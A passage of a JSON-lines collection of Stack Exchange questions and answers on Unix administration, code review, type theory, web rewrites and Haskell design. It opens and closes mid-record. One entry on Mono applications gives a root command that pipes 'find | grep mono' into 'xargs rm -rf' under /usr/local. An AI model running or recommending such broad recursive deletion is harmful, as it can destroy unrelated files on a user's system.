Internet Systems Consortium.All rights reserved.For info, please visit https://www.isc.org/software/dhcp/Listening on LPF/wlan0/ac:81:12:70:6f:22Sending on   LPF/wlan0/ac:81:12:70:6f:22Sending on   Socket/fallbackDHCPDISCOVER on wlan0 to 255.255.255.255 port 67 interval 6DHCPREQUEST on wlan0 to 255.255.255.255 port 67DHCPOFFER from 123.456.789.123DHCPACK from 123.456.789.123bound to 987.654.321.321 -- renewal in 1494 seconds.So I'm now happily making this response from my now connected laptop. Coolnow all I need to do is to enable the same connection via wicd, and I'll be super happy.David."  } 
{  "id": "_unix.372846"  , "question": "I have been converting all of my home videos to HEVC and sometimes the files end up smaller and sometimes they don't. I am currently comparing all the video files manually and it takes forever. I was wondering if there is a script that can check the 2 folders and delete the larger of the 2 files and keep the smaller one. After all I am doing this to save space. I do all my conversion in Ubuntu 17.04 CLI so a bash script would be preferable but I am not a scripter. "  , "title": "Compare and delete larger video files in 2 directories"  , "tags": "ubuntu;command line;diff"  } 
{  "id": "_codereview.36966"  , "question": "I'm writing a SDK for a NFC device in .NET so I don't have to import the SDK from C++. Right now I'm working on the ISO14443-3 part which is just simple Halt, Request, and Anticollision commands. The communication part between the device and computer is simple enough so I'm not going to post any of that. Just know that it is a serial device and that the command I send to it gets built before I write it to the SerialPort.We have 2 different NFC devices with completly different SDK's. I plan on making them identical, but when I first started I was main concerned with only one of them and I was basing all my methods off of the SDK that came with the device. Note that this is not a debate about if I should use the SDK or not. When I first started I figured that I would only have 1 method with a simple structure. It looked like this. private void BuildAndSendCommand(MasterRDCommands command, params byte[] data)MasterRDCommands is a simple enum. I decided that was a bad idea when I started work on the sound and light commands.. it was super hard to read something likenfc.BuildAndSendCommand(MasterRDCommands.SetLED, RFIDLED.Blue, 0x01, 0x10);it's like..HUH???so I made the BuildAndSendCommands private and made methods to make the code more clear.. Now I have the method signature like this..public void SetLED(RFIDLED led, byte flashes, byte duration)that sure make it much nicer at the top most level, but the middle man I'm concerned if I should still use a enum. I feel that it would much more clean if I would just put a region at the bottom or top of my code with a few private constants so that things like the RATS command would switch from    public byte[] SendRATS_TypeA()    {        BuildAndSendCommand(MasterRDCommands.RATS);        byte[] RATS = GetResponse(10);        return RATS;    }to say something like this    private const byte RATScmd = 0x1F;    public byte[] SendRATS_TypeA()    {        BuildAndSendCommand(RATScmd);        byte[] RATS = GetResponse(10);        return RATS;    }it's not much different, but I don't plan on exposing any of the commands from my Enum to the user since most if not all of the commands require a certain order. Where as the LED example is a good example (to me atleast) of when to use a enum. The user has to choose a very narrow set of LED's.in the end the user still only sees the few methods that I mark as public and would still never know if I ever deleted the Commands enum or not. What do you think? Keep them or remove them? "  , "title": "Enum or Constant"  , "tags": "c#;enum;constants"  , "accepted_answer": "I've never been a fan of a global constants file.  It's a good idea to keep enums defined close to where they are needed.  Makes it a little more apparent how enum is used.  This helps keep the code clean as you mentioned, and also helps improve maintainability, since there's not a long, master list of enums that need to be mentally processed in order to confidently make a change.On a side note, I would go ahead and put them in separate files.  This will also help with maintainability later, in case a move becomes necessary.If you can eliminate the enum and just use a private variable, then you've made it even better.  Code is more readable, and it doesn't imply that the particular value is shared across larger portions of code."  } 
{  "id": "_vi.3276"  , "question": "I've the following example:vim -E http://example.com/where I'd like to search for <head> tag.It seems that search only works when the lines are separated, but when the lines are joined together (%j) then it doesn't work and it says:Search hit BOTTOM, continuing at TOPWhat I'm doing is simply:/<head>The above search works when lines are separated, but not when everything is in one line (just run %j before doing search).Any idea why or how to search properly for pattern in Ex mode?I'm expecting after search that the cursor would be placed under the found pattern (similar as in visual mode), so I'm able to perform further changes (for example removing inner tag content by: norm vitd), but it doesn't work when the cursor is not placed on the tag it-self. In other words it seems to work only when the tag is at the beginning of the line, but not when it's in the middle."  , "title": "How to search in Ex mode and place the cursor on the matched pattern?"  , "tags": "search;ex mode;filetype html"  , "accepted_answer": "In vim we can read (:help :range):/{pattern}[/]   - the next line where {pattern} matchesThat means if there is no next line - no match can be found, because there is only one current line (all lines together).So to search starting from the first/current line, we need to use 0;/foo.0;/that         - the first line containing that, also matches in the first line.However specifying ; makes that the cursor isn't moved, so as workaround, you can manually jump to the next found phrase by: norm n."  } 
{  "id": "_softwareengineering.255878"  , "question": "In an answer to a previous question, a small debate started about correct terminology for certain constructs. As I did not find a question (other than this or that, which is not quite the right thing) to address this clearly, I am making this new one.The questionable terms and their relationships are: type, type constructor, type parameter, kinds or sorts, and values.I also checked wikipedia for type theory, but that didn't clarify it much either.So for the sake of having a good reference answer and to check my own understanding:How are these things defined properly?What is the difference between each of these things?How are they related to each other?"  , "title": "Correct terminology in type theory: types, type constructors, kinds/sorts and values"  , "tags": "type systems;data types;type theory"  , "accepted_answer": "Alright, let's go one by one.ValuesValues are the concrete pieces of data that programs evaluate and juggle. Nothing fancy, some examples might be1truefizz buzz foo barTypesA nice description for a type is a classifier for a value. A type is a little bit of information about what that value will be at runtime, but indicated at compile time.For example if you tell me that e : bool at compile time, and I'll know that e is either true or false during runtime, nothing else! Because types classify values nicely like this, we can use this information to determine some basic properties of your program.For example, if I ever see you adding e and e' when e : int and e' : String, then I know something is a bit off! In fact I can flag this and throw an error at compile time, saying Hey, that doesn't make any sense at all!.A more powerful type system allows for more interesting types which classify more interesting values. For example, let's consider some functionf = fun x -> xIt's pretty clear that f : Something -> Something, but what should that Something be? In a boring type system, we'd have to specify something arbitrary, like Something = int. In a more flexible type system, we could sayf : forall a. a -> aThat is to say for any a, f maps an a to an a. This let's us use f more generally and write more interesting programs.Moreover, the compiler is going to check actually satisfying the classifier we've given it, if f = fun x -> true then we have a bug and the compiler will say so!So as a tldr; a type is a compile time constraint on the values an expression can be at runtime.Type ConstructorSome types are related. For example a list of integers is very similar to a list of strings. This is almost like how sort for integers is almost like sort for strings. We can imagine a sort of factory that builds these almost-the-same types by generalizing over their differences and building them upon demand. That's what a type constructor is. It's kind of like a function from types to types, but a little more limited.The classic example is a generic list. A type constructor for is just the generic definition data List a = Cons a (List a) | NilNow List is a function which maps a type a to a list of values of that type! In Java-land I think these are perhaps called generic classesType ParametersA type parameter is just the type passed to a type constructor (or function). Just like in the value level we'd say foo(a) has a parameter a just like how List a has a type parameter a.KindsKinds are a bit tricky. The basic idea is that certain types are similar. For example, we have all the primitive types in java int, char, float... which all behave as if they have the same type. Except, when we're speaking of the classifiers for types themselves, we call the classifiers kinds. So int : Prim, String : Box, List : Boxed -> Boxed.This system gives nice concrete rules about what sort of types we can use where, just like how types govern values. It'd clearly be nonsense to say List<List>or List<int>In Java since List needs to be applied to a concrete type to be used like that! If we look at their kinds List : Boxed -> Boxed and since Boxed -> Boxed /= Boxed, the above is a kind error!Most of the time we don't really think about kinds and just treat them as common sense, but with fancier type systems it's something important to think about.A little illustration of what I've been saying so far value   : type : kind  : ... true    : bool : Prim  : ... new F() : Foo  : Boxed : ...Better Reading Than WikipediaIf you're interested in this sort of thing, I'd highly recommend investing a good textbook. Type theory and PLT in general is pretty vast and without a coherent base of knowledge you (or at least I) can wander around without getting anywhere for months. Two of my favorite books areTypes and Programming Language - Ben PiercePractical Foundations of Programming Languages - Bob HarperBoth are excellent books that introduce what I've just talked about and much more in beautiful, well explained detail."  } 
{  "id": "_unix.88040"  , "question": "When I use grep to find some text which I need, it will display lines containing a match to the given pattern. For example, # grep -r .*Linux *path0/output.txt:I hope you enjoyed working on Linux.path1/output1.txt:Welcome to Linux.path2/output2.txt:I hope you will have fun with Linux.then, I want to edit the file path2/output2.txt, hence, I type vim path2/output2.txt.But, I don't think it is an effective way. How can I copy the path after grep?"  , "title": "How to use the grep result in command line?"  , "tags": "bash;grep"  } 
{  "id": "_cstheory.5277"  , "question": "As an extension to the question posed recently by Bulatov, I wonder what are the maximal sub-classes of perfect graphs for which we know of combinatorial algorithms to compute a maximum independent set."  , "title": "Combinatorial Independent set Algorithms for sub-classes of perfect graphs"  , "tags": "ds.algorithms;graph theory;graph algorithms"  , "accepted_answer": "One springs to mind and is listed as a maximal subclass in ISGCI, which surprised me: perfect claw-free graphs (a.k.a. perfect quasi-line graphs).  This was done by Minty for all claw-free graphs around 1980.  But a couple of other algorithms for claw-free graphs, one recently in SODA 2011 that is $O(n^3)$ by Faenza, Oriolo, and Stauffer, use the Chudnovsky-Seymour structural characterization of these graphs to reduce the problem to line graphs (and therefore maximum matching) in a fairly straightforward way.  If you're only looking at perfect claw-free graphs, then the earlier characterization by Maffray and Reed is sufficient (and the reduction to line graphs is more obvious)."  } 
{  "id": "_unix.106720"  , "question": "The file is apache:apache 660 and username is jdoe and he belongs to groups jdoe and apache.  He SFTPs into the server with WinSCP but when he goes to perform an edit which includes a set modtime command he gets sent status permission denied in the syslog.  The file is on an NFS mount (v4) which is mounted rw on this server. How do I deal with this issue in SFTP, RHEL 6?"  , "title": "SFTP Modification time Permission denied when touching/updating files"  , "tags": "linux;permissions;sftp"  } 
{  "id": "_softwareengineering.219532"  , "question": "We've all faced this. You apply to a cool project and they ask you to send them a piece of your code. On the surface, this look OK and I am fine with it. But what shall I send them? My cool utility? Snapshot of structure in complex project? Something else?So far, I have tried to persuade them to have a desktop share via Skype and that I lead them through code and structure. But somehow clients do not like this approach. So I'd like to hear your thoughts. "  , "title": "What to send when a client wants a sample of my code to test my qualities?"  , "tags": "code sample"  , "accepted_answer": "Do you keep track of the stuff you've built for other clients?If you are a freelancer (it seems like you are) you should keep links to past projects you've done for other clients. I know that as a client I would click on the other projects to see exactly what you're capable of. Client testimonials would go well with this too.Of course you don't want to define yourself by just your past projects, so you could also keep links within your website to demo projects you've worked on too (normally your demos should highlight how 'deep' your knowledge level goes - as chances are, you haven't built that many complex projects for clients). Snapshots could work here too (if you don't have links to actual demo projects).Lastly, for displaying code, you can just link to your GitHub account to your website. You don't want anyone having access to proprietary code you've written for another client, and GitHub (or even bitbucket) is a great place to display code you want displayed (remember though, seeing your code will depend on the client, as most won't care about that unless they are technical firms themselves).PS. You should just note that in situations like these, you are marketing yourself (especially if you are a freelancer). It is important that you look for strategies to improve your brand (which is basically YOU)."  } 
{  "id": "_unix.131348"  , "question": "I want to connect external monitor to my laptop but I can't manage it properly. My setup is: Arch Linux x64 (xfce) on Dell l702x with Bumblebee and HDMI -> DVI adapter monitor.I want to have that just as regular dual display, with common mouse pointer and ability to move windows between both screens.Since HDMI port in my laptop is connected to Nvidia card, I've followed that help file: https://github.com/Bumblebee-Project/Bumblebee/wiki/Multi-monitor-setup but to no avail. I've found way to get something on second screen (so it's definitely working) - I simply need to do echo DISPLAY=:8.0 (that's default virtual port) and since then everything will be started on the external screen BUT not X server, which always starts on my laptop main screen despite of any configuration changes.I can share cursor thanks to synergy (that works fine) but I can't resize anything on external screen, nor move windows, alt+tab also doesn't work. All answers I've found are about starting another X server on external display so how that can be done?Unfortunately DISPLAY=:8.0 startx (or primusrun startx or optirun) just ignores display, it starts on my laptop screen.I've tested a lot of xorg.conf options (all of them are being unfortunately ignored), one big difference I found is that xrandr shows always only one display, i.e.:$ DISPLAY=:0.0 xrandrScreen 0: minimum 8 x 8, current 1920 x 1080, maximum 32767 x 32767LVDS1 connected 1920x1080+0+0 (normal left inverted right x axis y axis) 382mm x 215mm   1920x1080     60.01*+  40.01     1400x1050     59.98     1280x1024     60.02     1280x960      60.00     1024x768      60.00     800x600       60.32    56.25     640x480       59.94  VGA1 disconnected (normal left inverted right x axis y axis)HDMI1 disconnected (normal left inverted right x axis y axis)DP1 disconnected (normal left inverted right x axis y axis)VIRTUAL1 disconnected (normal left inverted right x axis y axis)and$ DISPLAY=:8.0 xrandrScreen 0: minimum 8 x 8, current 1920 x 1200, maximum 16384 x 16384HDMI-0 connected primary 1920x1200+0+0 (normal left inverted right x axis y axis) 518mm x 324mm   1920x1200     59.95*+   1920x1080     60.00     1680x1050     59.95     1600x1200     60.00     1280x1024     60.02     1280x960      60.00     1024x768      60.00     800x600       60.32     640x480       59.94  So basically how can I start X server on external display? Ideally that would work on both screens like any regular setup, but even that would be better than current state."  , "title": "How to start x server on another display?"  , "tags": "arch linux;x11;xrandr;dual monitor;bumblebee"  } 
{  "id": "_webmaster.49585"  , "question": "A client of mine scrapped his entire wordpress site of many years for a custom CMS. The URL structures both use the /<post_title> format, so a pattern based .htaccess rule is out of the picture for saving the old urls. The old site is effectively dead, but I'd hate to let all of those thousands of backlinks simply die a 404 death.Is there a faster way than listing each url in a .htaccess directive to redirect 1000s of urls to the home page? (Faster as in load speed, not programming efficiency)"  , "title": "Fastest way to redirect dead URLs to home page"  , "tags": "apache;wordpress;redirects;301 redirect"  , "accepted_answer": "In your custom 404 page you could check the structure of the URL and 301-redirect if it looks good - or preferably look it up against a known list of previous Wordpress URLs.At least this way you are only doing the lookup/redirect if the page doesn't exist.If you are doing 1000s of redirects with Apache, it will be more efficient/faster to do this in your server config (vhost) files. Ref: Move .htaccess content into vhost, for performanceEDIT: I expect you've considered this already, but the thought was beginning to nag... do these missing pages have equivalent new URLs? Although a lot more work, it will obviously be many(*N) times better (for SEO and users) to redirect to the new URL if possible.(Where N is a sufficiently large arbitrary number.)"  } 
{  "id": "_cstheory.33640"  , "question": "It is known that for general arithmetic circuits there is not much of a difference between standard model and one with division: any circuit with divisions that computes a polynomial can be simulated by a circuit without divisions with only polynomial blow-up.However, in the non-commutative world, such a reduction is unknown. In fact, although exponential lower bounds are known for noncommutative formulas without division, proving lower bounds for noncommutative formulas with division is a big open question.Are we aware of lower bounds for noncommutative circuits with division, but where every gate computes a polynomial (and not just a rational function)?"  , "title": "Lower bounds for noncommutative arithmetic circuits with exact division?"  , "tags": "lower bounds;arithmetic circuits"  } 
{  "id": "_unix.195443"  , "question": "good day,anyone can help me convert this .htaccess to nginx ?<IfModule mod_rewrite.c>RewriteEngine OnRewriteRule ^data/([0-9]+)/(.*).html$ index.php?dir=$1 [QSA,L]RewriteRule ^data/file/([0-9]+)/(.*).html$ file.php?id=$1 [QSA,L]</IfModule>i've tried to convert with : http://winginx.com/en/htaccessand the result :location /data { rewrite ^/data/([0-9]+)/(.*).html$ /index.php?dir=$1 break;rewrite ^/data/file/([0-9]+)/(.*).html$ /file.php?id=$1 break; }but i still get not found on the converted rewrite rules.thanks before for your help .fyi i use Master Auto Index script "  , "title": "Nginx rewrite rules"  , "tags": "nginx;rewrite"  } 
{  "id": "_unix.61305"  , "question": "I accidentally left an open port on my router, leaving access to one of my computers via SSH, using a rather insecure password. I noticed because I checked /var/log/auth.log and there is just one entry from the outside. There's no bash history nor anything easily noticeable. What should I check to know my computer is not compromised?"  , "title": "What should I check after an unauthorized access?"  , "tags": "ssh;security"  } 
{  "id": "_unix.6435"  , "question": "E.g. check if $PWD is a subdirectory of /home. In other words I'm searching for a bash string operation to check if one string starts with another."  , "title": "How to check if $PWD is a subdirectory of a given path"  , "tags": "bash;shell;directory;string"  , "accepted_answer": "If you want to reliably test whether a directory is a subdirectory of another, you'll need more than just a string prefix check.  Gilles' answer describes in detail how to do this test properly.But if you do want a simple string prefix check (maybe you've already normalized your paths?), this is a good one:test ${PWD##/home/} != ${PWD}If $PWD starts with /home/, it gets stripped off in the left side, which means it won't match the right side, so != returns true."  } 
{  "id": "_webmaster.78719"  , "question": "This strikes my curiosity.I have two versions of my website. A desktop version and a mobile version. The objective of both websites is to allow users to view whatever full size photos they like to see.On the desktop version of the site, I fill it with a lot of helpful text detailing each extra option one can do with a photo such as ordering it, etc. On the mobile site, I have it very basic. Maybe a sentence describing a photo and the photo and that's it.People say content is king and I think the minimum number of words per page should be 250 to avoid a thin-content penalty. So far, I have not received that on the mobile site from google webmaster tools, yet I never submitted a sitemap to the mobile site. I only submitted one for the desktop site.The reason why I make the mobile version mostly stripped down is because I want users to spend less money on bandwidth and paragraphs can eat bandwidth, especially if they're decorated.So with that set aside, is there a different minimum required word limit for mobile sites in comparison to desktop sites in order to evade google's thin-content penalty?The average age group of users visiting my site range from about 18 to 24 and younger people cannot afford a lot of money."  , "title": "Content length VS document size for mobile"  , "tags": "website design;mobile;bandwidth;desktop;thin content"  } 
{  "id": "_softwareengineering.230873"  , "question": "How does the pattern of using command handlers to deal with persistence fit into a purely functional language, where we want to make IO-related code as thin as possible?When implementing Domain-Driven Design in an object-oriented language, it's common to use the Command/Handler pattern to execute state changes. In this design, command handlers sit on top of your domain objects, and are responsible for the boring persistence-related logic like using repositories and publishing domain events. The handlers are the public face of your domain model; application code like the UI calls the handlers when it needs to change domain objects' state.A sketch in C#:public class DiscardDraftDocumentCommandHandler : CommandHandler<DiscardDraftDocument>{    IDraftDocumentRepository _repo;    IEventPublisher _publisher;    public DiscardDraftCommandHandler(IDraftDocumentRepository repo, IEventPublisher publisher)    {        _repo = repo;        _publisher = publisher;    }    public override void Handle(DiscardDraftDocument command)    {        var document = _repo.Get(command.DocumentId);        document.Discard(command.UserId);        _publisher.Publish(document.NewEvents);    }}The document domain object is responsible for implementing the business rules (like the user should have permission to discard the document or you can't discard a document that's already been discarded) and for generating the domain events we need to publish (document.NewEvents would be an IEnumerable<Event> and would probably contain a DocumentDiscarded event).This is a nice design - it's easy to extend (you can add new use cases without changing your domain model, by adding new command handlers) and is agnostic as to how objects are persisted (you can easily swap out an NHibernate repository for a Mongo repository, or swap a RabbitMQ publisher for an EventStore publisher) which makes it easy to test using fakes and mocks. It also obeys model/view separation - the command handler has no idea whether it's being used by a batch job, a GUI, or a REST API.In a purely-functional language like Haskell, you might model the command handler roughly like this:newtype CommandHandler = CommandHandler {handleCommand :: Command -> IO Result)data Result a = Success a | Failure Reasontype Reason = StringdiscardDraftDocumentCommandHandler = CommandHandler handle    where handle (DiscardDraftDocument documentID userID) = do              document <- loadDocument documentID              let result = discard document userID :: Result [Event]              case result of                   Success events -> publishEvents events >> return result                   -- in an event-sourced model, there's no extra step to save the document                   Failure _ -> return result          handle _ = return $ Failure I expected a DiscardDraftDocument commandHere's the part I'm struggling to understand. Typically, there'll be some sort of 'presentation' code which calls into the command handler, like a GUI or a REST API. So now we have two layers in our program which need to do IO - the command handler and the view - which is a big no-no in Haskell.As far as I can make out, there are two opposing forces here: one is model/view separation and the other is the need to persist the model. There needs to be IO code to persist the model somewhere, but model/view separation says that we can't put it in the presentation layer with all the other IO code.Of course, in a normal language, IO can (and does) happen anywhere. Good design dictates that the different types of IO be kept separate, but the compiler doesn't enforce it.So: how do we reconcile model/view separation with the desire to push IO code to the very edge of the program, when the model needs to be persisted? How do we keep the two different types of IO separate, but still away from all the pure code?Update: The bounty expires in less than 24 hours. I don't feel that either of the current answers has addressed my question at all. @Ptharien's Flame's comment about acid-state seems promising, but it's not an answer and it's lacking in detail. I'd hate for these points to go to waste!"  , "title": "How does persistence fit into a purely functional language?"  , "tags": "c#;architecture;functional programming;domain driven design;haskell"  , "accepted_answer": "The general way to separate components in Haskell is through monad transformer stacks.  I explain this in more detail below.Imagine we're building a system that has several large-scale components:a component that talks with the disk or database (submodel)a component that does transformations on our domain (model)a component that interacts with the user (view)a component that describes the connection between view, model, and submodel (controller)a component that kickstarts the whole system (driver)We decide that we need to keep these components loosely coupled in order to maintain good code style.Therefore we code each of our components polymorphically, using the various MTL classes to guide us:every function in the submodel is of type MonadState DataState m => Foo -> Bar -> ... -> m BazDataState is a pure representation of a snapshot of the state of our database or storageevery function in the model is pureevery function in the view is of type MonadState UIState m => Foo -> Bar -> ... -> m BazUIState is a pure representation of a snapshot of the state of our user interfaceevery function in the controller is of type MonadState (DataState, UIState) m => Foo -> Bar -> ... -> m BazNotice that the controller has access to both the state of the view and the state of the submodelthe driver has only one definition, main :: IO (),  which does the near-trivial work of combining the other components into one systemthe view and submodel will need to be lifted into the same state type as the controller using zoom or a similar combinatorthe model is pure, and so can be used without restrictionin the end, everything lives in (a type compatible with) StateT (DataState, UIState) IO, which is then run with the actual contents of the database or storage to produce IO."  } 
{  "id": "_codereview.38249"  , "question": "I am trying to print all the strings given in a N x N Boggle board. Its basically a N x N scrabble-like board where words can be made from a position - horizontally, vertically and diagonally.Here is my naive implementation. Is this correct? Any hints on optimizations? Any other useful links?public class BoggleSolver {    private void solve(String prefix, int i, int j, char[][] Board, boolean[][] marker, int N)    {        if ((i < 0) || (j < 0) || (i >= N) || (j >= N)) return;        if (marker[i][j] == true) return;        String s = prefix + Character.toString(Board[i][j]);        // TODO Fictional dictionary that can tell us if        // a string is a legal word        if (dict.HasWord(s)) System.out.println(s);        // Mark current index and traverse horizontal,vertical        // and diagonal        marker[i][j] = true;        solve(s, i, j + 1, Board, marker, N);        solve(s, i + 1, j, Board, marker, N);        solve(s, i + 1, j + 1, Board, marker, N);    }    public void solve(char[][] Board, int N)    {        boolean[][] marker = new boolean[N][N];        solve(, 0, 0, Board, marker, N);    }    public static void main(String[] args) {        // TODO make board and call solve(board, N)    }}"  , "title": "Printing all strings in a Boggle board"  , "tags": "java;optimization;algorithm;strings;recursion"  , "accepted_answer": "I wouldn't consider that a Boggle solver, as you only consider words that start at [0, 0] and progress east, south, or southeast.  (With coordinates that are always nondecreasing, you need not have bothered using marker to prevent backtracking.)A complete search will probably take an extremely long time.  You should use a dictionary that can check whether there are any words that begin with some prefix, so that you can prune fruitless search paths.  Use a trie data structure, or possibly a TreeSet<String>.Board, N, and HasWord() all have improper capitalization.  It doesn't make sense to require N to be passed in explicitly, since it should be detectable from the board's dimensions.Appending a character to a string can be simply written as prefix + board[i][j].I would recommend redesigning the class with a more versatile interface, because printing the results to System.out limits reusability.public interface BoggleSolutionHandler {    public void foundWord(String word);}public class BoggleSolver {    public static void solve(char[][] board, BoggleSolutionHandler callback, NavigableSet<String> dictionary) {            }}An iterator would be even nicer to use, but probably harder to implement since you can't take advantage of recursion:public class BoggleSolver implements Iterator<String> {    public class BoggleSolver(char[][] board, NavigableSet<String> dictionary) {            }    @Override    public boolean hasNext() {            }    @Override    public String next() {            }    @Override    public void remove() {        throw new UnsupportedOperationException();    }}"  } 
{  "id": "_codereview.21249"  , "question": "My conditional code here seems repetitive and long. Is there a better approach? I want to test for a string value in a NSDictionary object and then depending upon the value prefix a UILabel with $, ,  currency symbols.I've just shown 2 examples below.  I have more currencies and the code is very long.if ([[item objectForKey:@currency] isEqualToString:@EUR]) {    NSString *priceConvertToStr = [NSString stringWithFormat:@%@, [[item objectForKey:@price]stringValue]];    NSString *priceStringFix = [priceConvertToStr                                stringByReplacingOccurrencesOfString:@(null) withString:@];    priceLabelText.text = priceStringFix;    [imgView2 addSubview:priceLabelText];}if ([[item objectForKey:@currency] isEqualToString:@GBP]) {    NSString *priceConvertToStr = [NSString stringWithFormat:@%@, [[item objectForKey:@price]stringValue]];    NSString *priceStringFix = [priceConvertToStr                                stringByReplacingOccurrencesOfString:@(null) withString:@];    priceLabelText.text = priceStringFix;    [imgView2 addSubview:priceLabelText];}if ([[item objectForKey:@currency] isEqualToString:@USD]) {    NSString *priceConvertToStr = [NSString stringWithFormat:@$%@, [[item objectForKey:@price]stringValue]];    NSString *priceStringFix = [priceConvertToStr                                stringByReplacingOccurrencesOfString:@(null) withString:@];    priceLabelText.text = priceStringFix;    [imgView2 addSubview:priceLabelText];}"  , "title": "Applying a currency symbol based on a tested string value"  , "tags": "strings;objective c;ios;dictionary"  , "accepted_answer": "I'd create an NSDictionary holding those prefixes and wrap that whole thing into its own method, like so: -(NSString *) prefixForCurrency:(NSString *)currency{    NSDictionary *currencyPrefixes = @{@EUR: @, @USD : @$, @GBP : @, @NOK : @kr. };    NSString *returnString = [currencyPrefixes objectForKey:currency];      return returnString;}Then, instead of your current mass of if-statements you'd have something like the following:NSString *currency = [item objectForKey:@currency];NSString *currencyPrefix = [self prefixForCurrency: currency];NSString *price = [item objectForKey:@price];NSString *priceString = [NSString stringWithFormat:@%@ %@, currencyPrefix, price];In case you were wondering: the main reason I wrap the prefixDictionary in its own method is in case you'd for instance prefer to fetch this list from a file later on. Then you can just alter the innards of that one method..."  } 
{  "id": "_datascience.8018"  , "question": "I have data for each vehicle's lateral position over time and lane number as shown in these 3 plots in the image and sample data below.> a   Frame.ID   xcoord Lane1       452 27.39400    32       453 27.38331    33       454 27.42999    34       455 27.46512    35       456 27.49066    3The lateral position varies over time because a human driver does not have perfect control over vehicle's position. The lane change maneuver starts when the lateral position changes drastically and ends when the variation becomes 'normal' again. This can not be identified from the data directly. I have to manually look at each vehicle's plot to determine the start and end points of lane change maneuver in order to estimate the duration of lane change. But I have thousands of vehicles in the data set. Could you please direct me to any relevant image analysis/ machine learning algorithm that could be trained to identify these points? I work in R. Thanks in advance."  , "title": "Are there any machine learning techniques to identify points on plots/ images?"  , "tags": "machine learning;r"  } 
{  "id": "_unix.37883"  , "question": "If I want to run the application monodevelop, I need to chdir to /usr/lib/monodevelop/Bin and then execute ./MonoDevelop.exe. This is the same for all other Mono applications such as banshee, tomboy, etc.    If I attempt to run the Mono applications from another location by simply running monodevelop, or even from their own directory, I get TypeInitializationExceptions like this:  behrooz@behrooz:/usr/lib/monodevelop/bin$ monodevelop  FATAL ERROR [2012-05-04 11:24:39Z]: MonoDevelop failed to start. Some  of the assemblies required to run MonoDevelop (for example gtk-sharp,  gnome-sharp or gtkhtml-sharp) may not be properly installed in the  GAC. System.TypeInitializationException: An exception was thrown by  the type initializer for Gtk.Application --->  System.EntryPointNotFoundException: glibsharp_g_thread_supported   at  (wrapper managed-to-native) GLib.Thread:glibsharp_g_thread_supported  ()   at GLib.Thread.get_Supported () [0x00000] in :0  at Gtk.Application..cctor () [0x00000] in :0    ---  End of inner exception stack trace ---   at  MonoDevelop.Ide.IdeStartup.Run (MonoDevelop.Ide.MonoDevelopOptions  options) [0x0007e] in  /home/behrooz/Desktop/Monodevelop/monodevelop-2.8.6.5/src/core/MonoDevelop.Ide/MonoDevelop.Ide/IdeStartup.cs:95  at MonoDevelop.Ide.IdeStartup.Main (System.String[] args) [0x0004f] in  /home/behrooz/Desktop/Monodevelop/monodevelop-2.8.6.5/src/core/MonoDevelop.Ide/MonoDevelop.Ide/IdeStartup.cs:503  Why is that?I have tried reinstalling all Mono, Wine, GTK, Glib, X, Gnome packages.apt-get --purge --reinstall install $(dpkg --get-selections| grep mono |grep install |grep  -v deinstall |awk'{print $1}')  I also tried starce on open and got nothing by myselfSystem Configuration: - Debian 6.0-updates 64 bit - Kernel 3.2.0-2, 3.2.0-1, 3.1 and 3 EDIT: not a kernel thing - Gnome 3.4  EDIT:but a gnome thing - Mono 2.10.5    TLS:           __thread    SIGSEGV:       altstack    Notifications: epoll    Architecture:  amd64        Disabled:      none        Misc:          softdebug        LLVM:          supported, not enabled.        GC:            Included Boehm (with typed GC and Parallel Mark)   update: with upgrading to the new monodevelop 3.0.2 and latest mono, I can run monodevelop with command monodevelop in terminal,no chdir.but gnome-shell cannot run it.  Finally found it:as root:   cd /usr/local/ find | grep mono|xargs rm -rf # Use with caution/some applications may get messed up(stellarium has MONOchrome images...)"  , "title": "Why do Mono applications only start from their own directory?"  , "tags": "linux;path;gnome shell;mono"  , "accepted_answer": "It looks like you've built and installed monodevelop from source - did you do the same for the dependencies like gtksharp? Since banshee and tomboy are broken, it sounds like you have a dependency shared between the broken programs, and that's an obvious candidate. Do CLI mono apps work?From the MonoDevelop build documentation:We strongly recommend you install everything from packages if possible. If not you, you should use a Parallel Mono Environment. Do not install anything to /usr or /usr/local unless you completely understand the implications of doing do.If the other mono applications will only run from the installed monodevelop tree, and reinstalling packages hasn't helped, you might have a mess of extra stuff floating around that the source install has added which is interfering with mono finding its libraries, possibly with hardcoded paths into the monodevelop install.My Debian-fu is not strong, but there should be a way of identifying files in /usr that dpkg doesn't know about, that might be a place to start."  } 
{  "id": "_codereview.129518"  , "question": "I have written a program in x86 assembly (Intel syntax/MASM) that interprets brainfuck code that is fed to it via an interactive console and prints the final stack to stdout. Note that it does not include an implementation for the , command, but everything else has been implemented. The idea is that it presents the user with a prompt where they can enter their code; when the user hits Enter, it evaluates it and then dumps the resultant cell state to the console. While the cell state is maintained between prompt entries, the pointer position is not.It looks like this:$++++++++[>++++[>++>+++>+++>+<<<<-]>+>+>->>+[<]<-]>>.>---.+++++++..+++.>>.<-.<.+++.------.--------.>>+.>++.Hello World!0 0 72 100 87 33 10 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0--------------------------------------------------$>>[.>]HdW!0 0 72 100 87 33 10 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0--------------------------------------------------$++++++++[>++++++++<-]>+.A0 65 72 100 87 33 10 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0--------------------------------------------------This is my first major foray into assembly, so I'm mainly looking for general tips, such as:Which registers I should be using in particular casesWhen I should be using RAM and when I should be using registersWays that the code could be simplified.386.model flat,stdcall.stack 4096include \\masm32\\include\\masm32.incincludelib \\masm32\\lib\\masm32.libExitProcess proto,dwExitCode:dword.databfsrc BYTE 200 dup(0) ; buffer to store source codebfcells BYTE 100 dup(0) ; 100-byte data array size 